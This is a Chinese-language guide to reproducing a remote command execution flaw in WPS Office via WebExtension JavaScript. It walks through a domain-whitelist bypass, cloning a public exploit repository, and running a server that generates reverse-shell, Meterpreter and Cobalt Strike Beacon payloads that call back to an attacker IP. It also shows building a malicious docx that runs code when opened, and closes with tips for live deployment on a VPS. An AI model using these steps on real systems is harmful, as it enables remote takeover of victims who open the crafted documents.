WPS_RCE漏洞复现
漏洞介绍
漏洞名称:WPS远程命令执行漏洞
漏洞编号:暂无
影响版本:
- WPS Office 2023 个人版 < 11.1.0.15120
- WPS Office 2019 企业版 < 11.8.2.12085
什么是WebExtension?
- Office中的WebExtension(通常称为Office插件或Office应用程序)是一种用于扩展Microsoft Office功能的技术。Office插件使第三方开发者能够在Office应用程序中集成自己的服务和功能。这些插件采用跨平台的Web技术(如HTML、CSS和JavaScript)开发,可以在不同的平台和设备上运行。
- 简单理解就是Office内置了一个浏览器,可以解析html/javascript/css 代码
- 本次的漏洞就是WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE。
漏洞利于限制
购买
***wps.cn
的域名既然是有WebExtension中的JavaScript造成的,那么就需要准备对应的html文件,WebExtension支持从第三方网站加载html,所以需要在公网开启web服务,用来共享html文件。
由于wps的限制,当我们加载第三方网站的html时,wps会进行提醒,大概如下面图片。
在WPS中,
wps.cn
的域名是在白名单中的,只要我们加载的资源在wps.cn
的网站中就不会有这个提示。但是我们无法控制wps.cn
。在wps中,白名单检测存在漏洞,我们只需要把html文件放在
xxxwps.cn
的网站中就不会有提示。因此,想要利用这个漏洞,必须要购买一个域名,域名中只需要包含
wps.cn
即可。
部署html文件到vps上,需要把域名绑定到vps
- 购买域名和vps后,需要把子域名
clientweb.docer.wps.cn.***wps.cn
解析到购买的vps上,尽量套一层cdn,再使用nginx反向代理到搭建的服务上。 - 这里的子域名必须为
clientweb.docer.wps.cn.***wps.cn
,不然无法过白名单。
- 购买域名和vps后,需要把子域名
来源:https://github.com/ba0gu0/wps-rce
本地复现
克隆项目
1
git clone https://github.com/ba0gu0/wps_rce
- 安装对应的依赖
- python >= 3.8
1
2cd wps_rce
pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple修改hosts文件
以管理员身份运行记事本
文件-打开
C:\Windows\System32\drivers\etc\hosts
添加以下字符串并保存
1
127.0.0.1 clientweb.docer.wps.cn.xxxwps.cn
启动服务端
1
python server/main.py
此脚本的作用是用来生成html代码,同时还支持生成shell、msf、cs反弹的代码。
直接访问域名解析的地址,或者vps的端口
此服务端基于网上公开的poc进行开发,访问对应的地址,可以直接生成对应程序的利用代码。
url对应cs和msf的payload列表
url地址 平台 payload /calc 无 执行calc命令 /shell/1.1.1.1/9000 all 服务器监听:nc -lnvp 9000 /msf/tcp/1.1.1.1/9000 msf windows/meterpreter/reverse_tcp /msf/http/1.1.1.1/80 msf windows/meterpreter/reverse_http /msf/https/1.1.1.1/443 msf windows/meterpreter/reverse_https /cs/http/1.1.1.1/80 cs Beacon http /cs/https/1.1.1.1/443 cs Beacon https /shellcode/base64_shellcode 无 任意的windows可用的shellcode,需要进行base64编码 生成恶意文件
准备一个test.docx文件放到client文件夹下
执行如下命令
1
2cd client
python main.py test.docx http://clientweb.docer.wps.cn.xxxwps.cn/calc新生成的docx文件便为含恶意代码的docx文件
使用wps打开该文件,自动弹出计算器
利用
如有**wps.cn此类的域名则可以在vps上面启动server端,并把clientweb.docer.wps.cn.**wps.cn
解析到vps的IP上面,省去上述修改hosts文件的步骤就可以啦~~